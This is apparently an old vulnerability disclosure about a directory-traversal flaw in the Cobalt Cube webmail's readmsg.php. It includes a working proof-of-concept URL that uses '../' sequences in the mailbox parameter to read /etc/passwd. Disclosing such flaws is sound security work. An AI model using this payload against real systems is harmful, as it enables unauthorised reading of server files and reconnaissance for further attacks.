cobalt.webmail.txt

`I just got a new Cobalt Cube today and I have been poking around at it  
for security issues... I noticed this minor issue in the webmail system.  
Your   
users are not aloud to have shell access by default however if they  
malform their mailbox requests they can read local files with the perms  
of the webserver. If your users have shell access they will not really  
be gaining anything however this could be used to remotely gather  
information for a future attack.   
  
[admin admin]$ uname -a  
Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8 15:58:03 PDT 2000 i586 unknown  
[admin admin]$ cat /etc/issue  
  
Cobalt Linux release 6.0 (Carmel)  
Kernel 2.2.16C7 on an i586  
  
http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1  
  
-KF  
`